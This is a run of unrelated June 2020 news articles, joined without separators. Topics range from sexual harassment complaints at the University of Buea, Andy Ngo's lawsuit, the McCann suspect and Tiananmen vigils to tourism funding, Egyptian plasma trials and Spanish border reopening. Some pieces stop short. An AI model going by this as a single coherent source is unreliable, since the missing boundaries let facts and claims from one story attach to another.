University of Buea Archives

Professor Ernest L. Molua, Registrar of the University of Buea announced Friday, June 5, 2020, that they are now receiving sexual harassment-related complaints.

In a notice to staff and students of the Faculty of Social and Management Sciences, Molua calls on victims of sexual harassment to submit complaints along with supporting evidence.

The Registrar writes: You are by this notice called upon to submit a written complaint, complete with supporting evidence, if you opine you have been a victim of sexual harassment in the last five years. Submit these complaints in Room 118 in the Central Administrative Building, between 7.30 a.m. and 3.30 p.m. daily.

Cameroon-Info.Net recalls that on May 6, 2020, the International Federation of Women Lawyers (FIDA) Cameroon in correspondence to the Vice-Chancellor faulted the university administration for not deeming it necessary to open criminal investigations into allegations of sexual harassment in the department of journalism and mass communication lodged in the faculty of social and management sciences.

The letter signed by FIDA Cameroon National President Barrister Gladys Mbuya called on the Vice-Chancellor to forward such complaints to the Buea State Counsels chambers for proper investigations to be opened.

Reacting to the above, Professor Ngomo Horace Manga, Vice-Chancellor of the University of Buea, said sexual harassment allegations are being given due attention contrary to claims that such complaints were being treated with levity.

In an exclusive interview published in The SUN newspaper last month, the Vice-Chancellor said his administration will not be arm-twisted to act contrary to laid down procedure. He unequivocally said that they cannot take a complaint against a teacher and hand it to judicial authorities.

University of Buea makes open call for sexual harassment complaints (c) UB notice board

Prof. Ngomo said: The problem I have with a lot of people is that they want to set the agenda for this University. I can understand why this University is very important to everybody, but I will like people to concentrate on their jobs and allow those to whom the University has been handed to run to do their jobs.

The Vice-Chancellor acknowledged receipt of correspondence from FIDAs bailiff in which they say they had received a complaint from a female student alleging sexual harassment with a lot of evidence and that the Vice-Chancellor is refusing to investigate that complaint.

Hear Prof. Ngomo: So, in the letter, they were probably urging me to do my work! Probably, they have decided how soon I should do it; the University hasnt a calendar of activities! Even when everybody is teaching, you say I should grab the teacher who is teachinglet me say here that the University, upon receipt of a complaint of sexual harassment is not expected to forward it to judicial authorities.

We have to first investigate it. Did I receive a complaint on the matter? Yes, I did! I received a complaint but it was delivered to me on hand here by two females and two male lecturers from JMC. I want to believe that they had personal concerns on the issue and I had a discussion with them here. After reading the complaint, in my view, it required additional information for it to make any sense; otherwise, we didnt want a situation where the University makes a fool of itself.

To me particularly, the complaint was not very concrete, and dont forget that the V.C. has the prerogative to ask for additional information or ask another party to sniff around and size-up whats going on. As I was doing that, the Dean of the Faculty of Social and Management Sciences came here with the same complaint but with additional evidence and

I was satisfied that there was additional evidence and so we could go ahead and investigate. Then at that time, schools had stopped and I called the Dean for a chat and I asked the Dean Do you think it is proper to constitute a panel of investigation now because we will need corroborative evidence from other students and they are not around, what do we do? How stupid do people think we are? That we cannot carry out an investigation? Then I see a letter from women, saying they have the complaint, copying the State Counsel. But if they have the complaint, why dont they go ahead and prosecute? Do I have to deliver the said teacher to them? Nobody stays on campus, the teacher stays in town. The University has its laid down procedure for sanctioning teachers. We cannot take a complaint against a teacher and hand it to judicial authorities! Every institution has its internal mechanism!

My only prayer is for people to allow this University to achieve its results. This University wins a lot of prizes, and that is why people send their children here. I have even been informed that senior officials have called SYNES members to ask why the University of Buea is quiet! Yes, not once!

Fridays notice from the Registrar is indicative that the administration of the University of Buea is giving attention to complaints of sexual harassment, granted that they are backed by evidence.
A conservative writer and videographer in Portland is seeking $900,000 from left-wing activists that he says repeatedly beat, robbed and terrorized him for filming them in the streets.

Andy Ngo lists five people by name and another 50 John Does in a civil lawsuit filed Thursday in Multnomah County Circuit Court.

He also alleges that their marching orders came from another defendant named in the lawsuit  Rose City Antifa, an amorphous and largely anonymous group of anti-fascists.

For more than a year antifa extremists have subjected my family and I to a campaign of intimidation and terror for my reporting and documentation of their violent extremism as a journalist, said Ngo, 34, during an online news conference.

Asian and openly gay, Ngo has risen to prominence in conservative circles for shooting and promoting videos that show members of left-wing groups at demonstrations, some of them targeting him directly.

He now boasts nearly 400,000 followers on Twitter, more than any news organization in Portland, including The Oregonian/OregonLive. A forthcoming book of his, Unmasked: Inside Antifas Radical Plan to Destroy Democracy, shares the same publisher as titles by Donald Trump Jr. and Newt Gingrich.

According to the lawsuit, Ngo was punched and blasted with bear spray while filming two separate Portland May Day events in 2019, including an infamous brawl that erupted between left-wing activists and members Patriot Prayer, a right-wing group, outside the now-shuttered Cider Riot pub.

Less than a week later, on May 7, a man who routinely attends protests in Portland threw an unknown liquid on Ngos head and swiped his phone inside a local gym, court documents allege.

And on June 29, left-wing activists tossed milkshakes at Ngo, beat him up and stole his GoPro camera during a demonstration organized against a right-wing rally in downtown Portland, according to the lawsuit.

Footage of the melee generated national headlines and helped spark calls among conservatives to label antifa a domestic terrorist organization, a refrain that has resurfaced in recent days as nationwide protests over the death of George Floyd have at times led to riots and looting.

The June attacks also left Ngo with a brain injury and landed him in the hospital overnight, his lawsuit claims.

Finally, the suit alleges a group of people wearing masks of Ngos face appeared outside his familys home last Halloween and banged on windows, rang the doorbell and tried to enter his house through the front door.

Ngo suffered assault, battery and intentional infliction of emotional distress, the court documents claim. The lawsuit also alleges Rose City Antifa, described as an unincorporated association, violated the states civil Racketeer Influence and Corrupt Organizations Act.

The suit offers no evidence that any of Ngos suspect assailants were members of Rose City Antifa, nor does it show how the loosely organized group directed attacks against him.

During the news conference, Ngo said no arrests have been made in any of the alleged encounters, despite providing reports and tips to police. Portions of each were captured on video by Ngo or other people.

I have waited patiently for the Portland police  headed by police commissioner and Portland Mayor Ted Wheeler  and the prosecutors office to carry out justice, Ngo said. Its not happened.

The named defendants in the suit  Benjamin Bolen, John Hacker, Corbyn Bylea, Joseph Christian Evans and Madison Lee Allen  could not be reached for comment. Rose City Antifa did not respond to request for comment.

News of Ngos lawsuit came only hours after Project Veritas, a right-wing media group, published a now viral video claiming that it had infiltrated Rose City Antifa.

The video features a man wearing a black mask and hooded sweatshirt who claims that he went undercover as an antifa prospect and attended secret meetings held by the group at the In Other Words bookstore in Northeast Portland.

Some of the heavily edited footage shot during the supposed meetings appears to show people talking about political tactics, eye gouging and destroying your enemy.

It is unclear when precisely the footage was captured. In Other Words closed in June 2018.

-- Shane Dixon Kavanaugh; 503-294-7632

Email at skavanaugh@oregonian.com

Follow on Twitter @shanedkavanaugh

Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories
ITASCA, Illinois, June 04, 2020 (GLOBE NEWSWIRE) -- Note: ASA Director of Government Affairs Steve Rossi is available for interviews on this subject.





The American Supply Association, whose distributor, manufacturer and manufacturers representative members conduct business throughout the plumbing, heating, cooling, pipe, and industrial pipe, valves and industry supply chain, is urging Congress to enact the Paycheck Protection Program Flexibility Act.



ASA members, from across the country, are expressing their support for the Paycheck Protection Program Flexibility Act. This bipartisan legislation introduced in the House by Reps. Chip Roy (R-TX) and Dean Phillips (D-MN) passed last week, 417-1. The bill, as written, will: 1.) Allow forgiveness beyond the 8-week covered period, 2.) Eliminate restrictions limiting non-payroll expenses to 25% of loan proceeds, 3.) Eliminate restrictions that limit loan terms to 2 years, 4.) Ensure full access to payroll tax deferment for businesses that take PPP loans, and 5.) Extend the rehiring deadline to offset the effect of enhanced Unemployment Insurance (UI).



This bill is a congressional response to the announcement by the Small Business Administration (SBA), reiterating that program forgiveness and use rules would not be changed. Thus, congressional action is necessary to make changes to the PPP program. The Senate is expected to take the bill up in the near future, and ASA members continue to advocate for the bill in the Senate.

ASA action on the Paycheck Protection Program Flexibility Act comes after thousands of ASA members, from all across the country, contacted their federal legislators in recent weeks, at the beginning of the COVID-19 pandemic.



The action resulted in ASAs industry being included in federal essential industry recommendations, enabling members to provide essential plumbing, heating, cooling and supply services to their respective communities.







Attachment

Story continues

Merrill Drew

American Supply Association

630-467-0000 ext 203

mdrew@asa.net


Thousands of people defied a ban to gather with candles in Hong Kong on June 4 to mark the Tiananmen Square crackdown in 1989. The annual meeting in the city's Victoria Park struck an especially sensitive nerve this year after China's move last month to impose national security legislation and the passage of a bill outlawing disrespect of China's national anthem. Hong Kong and Macau are the only parts of China that have been allowed to mark the killings.

read more

1 / 8 University students clean the "Pillar of Shame" statue, a memorial for those killed in the 1989 Tiananmen crackdown on June 4. China is tightening controls over dissidents while pro-democracy activists in Hong Kong and elsewhere try to mark the 31st anniversary of the crushing of the pro-democracy movement in Beijing's Tiananmen Square. (Kin Cheung / AP)

2 / 8 People gather at Victoria Park to commemorate the 31st anniversary of the Tiananmen Square crackdown in Hong Kong. This years vigil was banned by authorities, citing coronavirus restrictions on group gatherings. (Isaac Lawrence / AFP)

3 / 8 People sit spaced apart as they gather at Victoria Park to commemorate the 31st anniversary of the Tiananmen Square crackdown in Hong Kong, China, on June 4. The defiant gathering came hours after pro-Beijing lawmakers in Hong Kongs legislature succeeded in passing a bill criminalising insults to Chinas national anthem. (Justin Chin / Bloomberg )

4 / 8 Pan-democratic legislators observe one minute of silence on the 31st anniversary of the Tiananmen crackdown before a Legislative Council meeting to debate the national anthem bill in Hong Kong on June 4. On the anniversary of Tiananmen crackdown, Hong Kong continued debating a contentious law that makes it illegal to insult or abuse the Chinese national anthem. (Vincent Yu / AP)

5 / 8 A large display showing the Goddess of Democracy is seen on a pavement near Victoria Park in Hong Kong. In response to pro-democracy demonstrations, last month Beijing announced plans to impose the security law, which would cover secession, subversion of state power, terrorism and foreign interference. (Issac Lawrence / AFP)

6 / 8 A woman holds up a candle at Victoria Park during the annual candle-light vigil. Hong Kong was engulfed by seven straight months of huge and often violent pro-democracy protests last year. (Paul Yeung / Bloomberg)

7 / 8 People push down barricades set up to block access to Victoria Park on June 4. Hundreds of people, including some prominent democracy leaders, broke through barriers at Victoria Park. (Anthony Wallace / AFP)
The new lead suspect in the Madeleine McCann case could have been spotted checking out the family's holiday apartment in the days leading up to her disappearance.

Photos of German paedophile Christian Brueckner released yesterday match the description of a suspicious man spotted by people four times in Praia da Luz around May 3, 2007, when Maddie was taken.

And e-fit pictures of two men - who may actually be the same person - released by police in a 2013 appeal also share similarities to the suspect.

Holidaymakers and locals in the Portguese resort town who gave evidence to investigators 13 years ago talked about a 'blond male with a pockmarked face' who stalked the McCann's apartment block, but lead never generated any results.

Photos of German paedophile Christian Brueckner released yesterday match the description of a suspicious man spotted by people four times in Praia da Luz around May 3, 2007, when Maddie was taken

Brueckner is known to have been carrying out burglaries in hotels and holiday apartments shortly before Maddie's disappearance, and German Police have suggested he could have silently crept in to the McCann's apartment and taken Maddie.

He is currently serving a seven-year jail sentence for a sex offence in a Kiel, northern Germany and has been convicted of two crimes involving 'sexual activity with girls'.

Details suggest a blond man was seen at least three times in the vicinity of the apartment, the first being on April 30, 2007  two days after the family arrived in Praia da Luz at the Ocean Club.

A man matching the suspect's description was seen in sunglasses at 8am staring at the apartment.

E-fit pictures of two men - who may actually be the same person - released by police in a 2013 appeal also share similarities to the suspect

Then on May 2, a blond male was seen acting strangely at the complex's reception at midday, without any particular reason to be there.

Later the same day, a British witness saw what is believed to be the same man with a friend visiting the Habana seafront internet cafe, a five-minute walk from the apartment.

A source told The Sun: 'These sightings have been a mystery for years and have been the subject of numerous police appeals.

'With a suspect now in custody it seems like they may have finally been solved.'

A documentary about the disappearance released on Netflix last year revealed details about the pair in an interview with holidaymaker Jayne Jensen.

Ms Jensen was at the Ocean Club complex when her sister pointed out two men who appeared to be loitering, looking at the McCann's apartment on the day Maddie disappeared.

'She was walking just slightly in front of me and then she stopped and looked back at me and motioned with her head, Jayne said of her sister.

The men were seen by locals and holidaymakers four times in the lead up to the disappearance of Madeleine McCann on May 3, 2007

'I caught up with my sister and said, "What was that about?" She said, "Well, two single blond men on their own", which made me chuckle. But they were wrongly placed.

'And that was that, until later that day when we had heard that Madeleine was taken, it was only then, piecing back  who were these guys?'

In 2013 Scotland Yard Detective Chief Inspector Andy Redwood appealed for information about the two men on Dutch TV's Opsporing Verzocht, similar to Britain's Crimewatch. He said: 'A man or two men were seen lurking around the apartments.

'We are really keen to understand firstly if they are linked.

'The first e-fit we are showing is of a man wearing sunglasses.

'He was seen on April 30 at about 8am in the morning in the rear passageway behind Madeleine's apartment looking in the direction of the apartment.

'Again on May 2 at about lunchtime by the main reception area.

'The second e-fit is of a man who was seen on the afternoon that Madeleine disappeared at around 4pm.

'He was coming from an empty apartment two down, 5C, and he walked off towards the main road.

'We're really keen to understand who that was.

'That links back to a sighting at 2.30pm where two men who were bare-chested wearing swimming trunks and with blond hair were seen by two witnesses.'
Varvara Karaulova put under supervision until 2029 for 2015 attempt to join terrorists

 RAPSI, Eugeny Varlamov

10:24 05/06/2020

MOSCOW, June 5 (RAPSI)  Moscows Kuntsevsky District Court has ordered administrative supervision over Varvara Karaulova, ex-student of the Moscow State University who had been convicted of an attempt to join terrorists in Syria, until April 27, 2029, RAPSI has learnt from the courts press service.

The court has obliged the young woman to register in a territorial department of the Interior Ministry twice a month. She has been also banned from leaving her place of residence from 11 pm to 6 am.

In April 2019, Karaulova was released from prison on parole.

The second-year student of the Moscow State Universitys Faculty of Philosophy decided to join ISIS, a terrorist organization prohibited in Russia, and secretly started off for Istanbul on May 27, 2015.

Karaulova, who later changed her name to Alexandra Ivanova, was arrested on June 4, 2015, near Turkey's border with Syria along with 13 other Russian citizens when attempting to cross into the territory occupied by Islamic State terrorists. In October 2015, she was put in jail. She pleaded not guilty.

In October 2016, Karaulova was expelled from the university.

In December 2016, the Moscow District Military Court found that Karaulova decided to participate in the Islamic State terrorist groups activities. The court noted that she shared organization's ideology. Karaulova was given a 4.5-year prison term. The Russian Supreme Court has upheld the sentence.
Harris County still has not completed repairs to flood control infrastructure damaged by Hurricane Harvey three years ago, a testament to the damage the storms record rainfall wrought and the sheer scope of work needed to fix it.

Crews are on track to complete the $95 million repair program by the end of August, Harris County Flood Control District Deputy Executive Director Matt Zeve said.

Its an arduous process. Its moving dirt, Zeve said. Some of that construction is simple, just repairing erosion on earthen channels, all the way to rebuilding major bridges over Brays Bayou.

Harvey, which swamped more than 200,000 homes across the county, damaged a third of the countys flood control infrastructure, affecting 18 of 22 watersheds, Zeve said. Most of the destruction came in the form of channel erosion, though the storm also crushed or clogged hundreds of outfall pipes.

Three-quarters of the repairs have been completed. A year ago, just 5 percent were done.

The fixes cannot come soon enough as the third Atlantic hurricane season since Harvey began Monday. Tropical Storm Cristobal is expected to enter the Gulf of Mexico Friday and approach the Gulf Coast east of Texas on Sunday.

While many county departments and private businesses have slowed or altered their operations during the novel coronavirus pandemic, Zeve said the flood control districts productivity largely has been unaffected. Construction crews continue work in the field while many desk-bound engineers work from home.

The district is trying to keep pace on its $2.5 billion flood bond program, the largest local investment in storm protection in county history, which voters approved in 2018. The programs 181 projects  consolidated from an original list of 241  are scheduled to be completed by 2028. The districts annual capital budget has quintupled from pre-bond levels.

The return of hurricane season brings with it anxiety in residents who know all too well how vulnerable the region is to storms. After three consecutive years of major floods, capped off by Harvey in 2017, the Houston area has had better luck. The severity of Tropical Storm Imelda this past September caught some by surprise, however, dumping 40 inches of rain on some parts of Harris County.

Juan Sorto lives near the confluence of Halls and Greens bayous, not far from where six members of one family were swept away and drowned during Harvey. The East Houston and Settegast Super Neighborhood Alliance president said the area still is as vulnerable to flooding as it was three years ago. The bond program invests about $88 million between the two watersheds.

HOUSTON HOW TO: Heres how to get ready for hurricane season

We havent seen any change whatsoever, Sorto said. Were not very well-prepared for the next storm.

He also called on the city to improve street drainage, which contributes to flooding when storm drains are clogged or insufficient. The flood control district maintains only the countys expansive creek and bayou network.

In northwest Harris County, Dick Smith still worries when hurricane season arrives. At least now his family is out of harms way. He sold his dream home on Cypress Creek through the flood control districts buyout program last year.

Deep inside the 100-year floodplain, the two-story structure flooded for the sixth time during Harvey, when the ground floor was submerged by eight feet of water.

I couldnt put my wife and children through that again, Smith said.

The bond program is a badly needed  and long overdue  investment in flood protection, said Smith, who also serves as president of the Cypress Creek Flood Control Coalition. He praised the work flood control crews have completed to date, including de-silting channels along the creek. The bond program, which includes Harvey repairs, includes about $200 million for the watershed.

EDITORIAL: This hurricane season is different. Prepare, Houston.

Smith urged residents to remain engaged on flooding issues, even during dry years, since he said more bonds likely will be needed.

Engineers and researchers estimate that protecting all structures within Harris County from 100-year storms, which on paper have a 1 percent change of occurring any given year, would cost as much as $30 billion.

Zeve is quick to acknowledge the bond program will provide only partial protection to the county. While channel widenings, infrastructure repairs and home buyouts already have made some watersheds less flood prone, he said no amount of engineering can eliminate flooding here. He likened Harvey, which dropped 9 trillion gallons of water on the Houston area, to dumping a bucket of water into a shot glass.

If we get another storm like Hurricane Harvey, I do think thats just an order of magnitude that no infrastructure in Harris County is designed to deal with, he said.

zach.despart@chron.com
BAKU, Azerbaijan, June 5

By Rufiz Hafizoglu  Trend:

Export of jewelry from Turkey to international markets dropped by 11.8 percent from January through May 2020, compared to the same period of 2019, having made over $1.2 billion, Turkish Trade Ministry told Trend on June 5.

According to the ministry, this amount accounted for 2.1 percent of the countrys total export for the reporting period.

"In May 2020, Turkey exported jewelry worth $225.4 million to world markets, which is 37.4 percent less compared to the same month of 2019," the ministry said.

Turkeys export of jewelry abroad in May this year amounted to 2.3 percent of the countrys total export.

During the last twelve months (from May 2019 through May 2020), Turkey exported jewelry worth more than $3.9 billion.

In April this year, Turkeys export of jewelry to international markets amounted to 1.6 percent of the countrys total export.

From April 2019 through April 2020, Turkey exported jewelry worth $4 billion.

---

Follow the author on Twitter: @rhafizoglu
05.06.2020 LISTEN

The Lands Division of the Accra High Court has asked the Director of Public Prosecution to file the terms of the agreement arrived at in the case were a former Chief Executive Officer (CEO) of Venture Capital Trust Fund, Daniel Duku, and five others have been charged for stealing Ghs42.8 million.

The former CEO has reportedly agreed to pay over GHS15 million.

In court on Friday, the prosecution informed the court that some of the accused persons had negotiated a settlement with the state under section 35 of the Court's Act.

The prosecution told the court that three of the six accused persons; Daniel Duku, Irene Anti Mensah and Frank Aboagye have agreed to pay restitution and compensation to the state.

The others; the former Keta MP, Richard Larsey Agbemefia, Kofi Sarpong and Charity Opoku have not made their intentions known.

The agreement is yet to be filed as the court noted that it was only shown a copy of the agreement.

The court has, however, directed the Attorney General to file the executed form of the agreement with the accused persons following which it will examine the document.

The filing is to ensure clarity on the developments in the case.

The case has been adjourned to Monday, June 8, 2020.

The accused persons were charged with 86 counts of willfully causing financial loss to the state, abetment of crime, stealing, defrauding by false pretences and issuing of false cheques.

---citinewsroom
Islamabad, June 5 : The life and times of femme fatale and American adventurist Cynthia Dawn Ritchie have assumed a spanking new form and shape. Just moments ago, she has made a shocking revelation claiming that she was raped by Pakistan's former Interior Minister Rehman Malik and assaulted by other men in the highest echelons of the Pakistan Peoples Party (PPP). Her comments akin to a temblor have shaken Pakistan's polity for her charges are quite shocking and dire.

Sure to create consternation in Pakistan, Cynthia went live on Facebook claiming that the reason the PPP is going after her is not the tweet that she shared but rather the dirt she has against the top ranking officials of the political party. These are grave and serious charges that she has levelled against those in authority, albeit in a previous political dispensation. It is clear her outburst is part of a calibrated plan as she is being used by the current regime as a stalking horse to belittle the PPP.

In her live session on Facebook, Cynthia Ritchie claimed that she was "raped by the Interior Minister Rehman Malik" in 2011 when the PPP was in power and she further claimed that she was "physically manhandled by former Health Minister Makhdoom Shahabuddin and Prime Minister Yousuf Raza Gilani while he was staying at the President's House".

Moreover she claimed she has all the necessary evidence to support her allegations. Just before going on FB live, she calculatingly tweeted: "ZardarisFilthyPPP keeps threatening me. Why? Because they know that over the years I have been raped/assaulted by men in the highest ranks of PPP. They don't want the world to know. I have decided to go live on Facebook in approximately 30 minutes & continue to tell my story."
Riot police charge at anti-government protesters during a demonstration at Wan Chai district, on China's National Day, in Hong Kong, Oct. 1, 2019. Reuters



North Korea's foreign minister met with the Chinese ambassador to express support for China's measures in Hong Kong, North Korea's KCNA state news agency said on Friday.



"The Hong Kong issue is China's internal affairs and external interference violates China's sovereignty, and North Korea will actively support the Chinese party and government to defend national sovereignty, safety and territorial integrity," KCNA cited foreign minister Ri Son Gwon as saying.






Opinion Article

5 June 2020

The COVID-19 pandemic has placed at risk the substantial investment of state and local governments in the tourism and hospitality industries. Publicly funded destination marketing organizations ("DMOs"), tourism agencies, and convention centers face budget shortfalls, staffing reductions, and growing financial uncertainty. Targeted federal aid is urgently needed to support DMOs, tourism agencies, and convention centers whose work is critical to the recovery of vital sectors of the US economy.

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Introduction

The COVID-19 crisis has shined a spotlight on the importance of public sector investment in the hospitality and tourism industries. State and local governments support the industry through spending on tourism promotion, destination management, and tourism infrastructure such as convention centers, stadiums, and arenas. With drastically reduced resources, continued public sector investment in the industry is in jeopardy.

Federal aid to the hospitality and tourism industry, thus far, has provided some direct aid to private sector partners and owners of properties affected by the pandemic, primarily through Small Business Administration ("SBA") loans and grants, but these amounts have not been sufficient to cover the extreme industry-wide financial losses. The U.S. Travel Association, in tandem with Tourism Economics, projects cumulative losses since the beginning of March totaling $195 billion for the travel industry. [1] Estimates of the quantifiable effect of COVID-19 on the industry vary; however, the common thread of these projections show an industry at risk.

The federal government provided roughly $274 billion in aid to state and local governments in the CARES Act. [2] But most of that aid was directed at paying for COVID-19 pandemic response and cannot be used for revenue replacement. Federal aid that would address revenue shortfalls is currently being debated in the US Congress. Such aid could indirectly support the hospitality and tourism industries by shoring up the overall fiscal health of state and local governments and preventing the diversion of hospitality and tourism spending to other services.

Targeted aid to state and local governments, aimed at direct stimulus to the hospitality industry, may allow for faster recovery for the entire economy. The hospitality and tourism industries have proven to be the most vulnerable of industries to the COVID-19 pandemic with percentages of revenue losses far exceeding that of the overall economy. The Bureau of Economic Analysis showed a 5% decline in real GDP during the first quarter of 2020. [3] The Federal Reserve Bank of Atlanta projects, in the second quarter of 2020, a 52.8% decline in real GDP. [4] The Congressional Budget Office projects annual GDP growth for real GDP to only fall by 5.6% in 2020. [5] By comparison, projections of travel industry losses are greater than overall decreases in GDP. An Oxford Economics study from April 2020 projected an 81% loss in travel industry revenue in April and May 2020with losses continuing through the rest of the yearand a decline of 45% of the travel industry's contribution to US GDP for the year 2020. [6]

Tourism agencies and destination management organizations ("DMOs") face dual challenges of convincing the public that travel to their destinations is safe and affordable. Additional effort will be required to secure convention, group and meeting business, rescheduling postponed events, and making health related accommodations to event organizers. This additional workload cannot be accomplished with reduced staff levels. Many convention centers rely on lodging tax revenue and other tourism taxes that support their operations and capital investments. Their continued operation and necessary capital improvements are also threatened by the dramatic reduction in revenue. Consequently, targeted relief to the tourism agencies and DMOs is an essential piece of effort to revive the hospitality and tourism industries.

The public sector engages in large public investment into the hospitality industry

Some public sector efforts in the hospitality industry are highly visiblesuch as the Pure Michigan campaign and Las Vegas marketing efforts. In reality, the tourism industry as a whole relies, in part, on all contributions made by public sector partners. Taking place at the state and local level, tourism promotion, the operation of convention and visitor bureaus, and many other efforts are undertaken to ensure the health of the industry. The following figure summarizes the U.S. Travel Association's State Tourism Office Budget Dashboard. [7]

Average State Tourism Office Budgets (Years Ending 2014 to 2019)

Source: U.S. Travel Association  Photo: HVS

By FY 2019, the average state tourism budget, based on data from 45 states, reached $21 million. The U.S. Travel Association also reports that, compared to 2018 spending, 35 states reported an increase or no change in their state tourism budget. Of the 18 states and territories with public and private funding, over 68% of funding is public.

Efforts to promote tourism come from the local level as well. The following figure summarizes the budgets of the 20 largest DMOs in the US, and their reliance on public sector funding.

Top 20 DMO Budgets and Funding Sources

Source: HVS, Respective Organizations  Photo: HVS

Among the top 20 DMOs, on average, 81% of their funding comes from the public sector. For state and local agencies, funding comes from a variety of sources. For example, California does not impose a statewide lodging tax and funding of Visit California comes from a tourism assessment program for businesses operating in the tourism industry. [8] In most cases, funding for public sector agencies relies on taxes on services related to tourismcar rentals, accommodations, and other tourism taxes.

The following figure provides the distribution of lodging tax revenues for those states with a separate lodging tax.

Distribution of Lodging Tax Revenues

Source: HVS, Respective States  Photo: HVS

On average, 44.2% of lodging taxes in these states go to convention and tourism promotion and 30.39% of revenues go to state general funds.

HVS previously projected that lodging tax losses in 2020 across the top 25 hotel markets in the United States could range from 52% to 60%.[9] If those same losses are applied to the 2019 revenues from states with a dedicated lodging tax, state lodging tax revenues in those states could decline from $3.47 billion in 2019 to between $1.39 and $1.65 billion in 2020. Assuming 2019 total lodging taxes in the US were $21.52 billion, the COVID-19 pandemic could reduce lodging taxes in 2020 to between $8.64 to $10.25 billion. [10]

Budgetary constraints created by COVID-19 will result in budget cuts for public sector agencies in the hospitality industry

State and local government allocation of spending on convention and tourism promotion will be affected by general revenue declines. Estimates of the magnitude of state budget shortfalls created by COVID-19 for Fiscal Years 2020 and 2021 vary from 15% to 25%.

The Center on Budget and Policy Priorities estimates state budget shortfalls reaching 15% in Fiscal Year 2020 and 25% in Fiscal Year 2021. [11]

Moody's Investor Services estimated that state tax revenues in Fiscal Year 2021 would fall 14.2% lower than Fiscal Year 2019 levels. [12]

The National Conference of State Legislators has projected state revenue losses of 15 to 20%.[13]

Some local governments that are highly dependent on property taxes may experience less of a decline in revenue than those that rely more heavily on income or sales taxes. But a reduction in intergovernmental transfers from state to local governments will exacerbate local government budget shortfalls. Losses of this magnitude will force state and local lawmakers to decide where to best use tax revenues. Traditionally, public agencies in the tourism and hospitality industry face budget cuts during periods of fiscal stress because preference is given to public services that are deemed more essential such as public safety and health and welfare services. According to the National Conference of State Legislatures, "during the Great Recession, tourism budgets were often on the chopping block as states struggled to balance their budgets. Tourism office budgets reached a low of an average of $13.3 million, but have since rebounded, according to the U.S. Travel Association."[14]

In a status quo without federal aid, public sector agencies will suffer under a prolonged recovery

As seen in the figures and discussion above, state and local tourism agencies and DMOs rely on public funding for their operations. Given the unreliability of these public funds, state and local agencies face budget shortfalls and staffing changes that impede their ability to complete their jobs. Due to the size of its impact, the effect of COVID-19 on agency budgets may return them to levels lower than they fell in the Great Recession.

Staffing changes also pose an additional issue when looking at the recovery of these agencies. For example, the Las Vegas Convention and Visitors Authority, the largest CVB in the United States by budget, saw furloughs and layoffs of 350 of its 455 employeesover 3/4ths of their staff. [15] Losses of this size, albeit some temporary, will prevent these agencies from effectively carrying out their missions. The tourism and hospitality industry has always relied on the expertise and excellence of the employees at these agencies. With these employees on the sidelinesor let go completelythe industry will face a prolonged recovery due to loss of institutional knowledge and effective manpower.

According to the U.S. Travel Association, the trade surplus from international spending in the United States peaked at $99 billion in 2015 and declined to $59 billion in 2019. [16] The Department of Commerce identified almost a 30% decline in the trade surplus as a result of the Great Recession in 2009. [17] The economic fallout from COVID-19, along with an already declining trade surplus, may push the United States to become a net exporter of tourism dollars rather than a net importer. The work of state and local agencies is pivotal to help buoy the trade surplus and continue to promote travel and tourism to and around the United States.

Remedies

The COVID-19 pandemic introduced something into each of our lives: uncertainty. Great uncertainty surrounds the longevity of the virus, the potential for a vaccine, and what the world will look like on the other side of this pandemic. But one thing is clear: state and local agencies dedicated to the tourism and hospitality industry face dramatic losses of resources that, if left unaddressed, will hinder their vital work for the foreseeable future. The federal government, knowing the impact these agencies have on tourism promotion and the economic impact of tourism, should consider targeted relief to state and local governments designed to assist these agencies.

The recovery of the tourism and hospitality industry is inextricably tied to the recovery of related industries. For example, the airline industry benefits from the reintroduction of leisure and group travel. The hotel industry, which supports 8.3 million jobs, benefits from tourism and travel across the United States. [18] The list goes on and the message is the same: tourism and travel are key to the recovery of several industries and the economy writ large. State and local partners in the tourism and hospitality industry are as necessary as ever to promote safe tourism and help revitalize our struggling economy.
Infusions of antibody-rich blood plasma from people who have recovered from the coronavirus have proven effective in treating severely ill patients, Egypt's health minister said on Friday.

Hala Zayed said in a statement that recent trials had shown promising results in increasing the recovery rate of critically ill patients and lessening the need for ventilators.

She also called on those who recovered from the highly-contagious virus to head to the nearest ministry-affiliated blood transfusion center to donate plasma, 14 days after they recover.

The statement didn't provide further details on the number of recoveries from that treatment, but the ministry said last week that 30 patients had recovered after being injected with plasma extracted from the blood of recovered patients.

Egypt has so far registered 31,115 coronavirus cases, 8,158 recoveries and 1,166 deaths.

The country introduced the plasma treatment trials for the first time on 30 April, just days after the US Food and Drug Administration said convalescent plasma had the potential to lessen the severity or shorten the length of illness caused by COVID-19.



According to the FDA, the plasma treatment is used only for severe and critical cases.

Plasma extracted from one recovered patient could be infused into two seriously ill patients, the health ministry spokesman has said.

Recovered patients can make their blood donations at five blood transfusion centers in five Egyptian cities: Giza, Alexandria, Minya, Luxor and Tanta.



Egypt's updated treatment protocol for coronavirus cases relies on some antiviral drugs and vitamins, according to a document released by the health ministry earlier this week.

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Spain is clearly siding with the most conservative members of the European Union when it comes to reopening borders.

A meeting of interior ministers held on Friday revealed that most member states want to restore free travel by June 15 within the Schengen space, which includes 22 members of the EU plus Norway, Switzerland, Iceland and Liechstenstein. Italy already lifted its restrictions on European travel on June 3. But Madrid is insisting on waiting until July 1.

Spain is also very cautious about reopening Europes external borders to visitors from other countries, some of which are currently experiencing significant Covid-19 outbreaks, such as the United States, Japan and several Latin American nations.

We all want safety; it is best to have an umbrella to cover us all Government spokesperson Maria Jesus Montero

The prime ministers of Spain and Italy, the two European countries most intensely affected by the coronavirus  and the most dependent on tourism  have sent a letter to the European Commission (EC) demanding a coordinated system for reopening internal borders within the European Union, and most particularly for lifting controls on the external ones.

The time has come to reactivate our economies, to restore normality and also to restore a fundamental aspect of the European project: freedom of movement within the Schengen space, reads a letter to EC president Ursula von der Leyen signed by Spains Pedro Sanchez and Italys Giuseppe Conte.

In Spain, there is a lot of internal pressure from regional governments and the tourism industry to reopen as soon as possible, which has led to some confusing situations. On Thursday, Tourism Minister Reyes Maroto announced that the land borders with France and Portugal would reopen on June 22, coinciding with the official end of the state of alarm in Spain. But just hours later, the central government underscored that the only certain date is July 1.

The regional heads of the Basque Country, which shares a border with France, and of Galicia, which is located next to Portugal, have been asking Sanchez to allow cross-border transit as soon as possible.

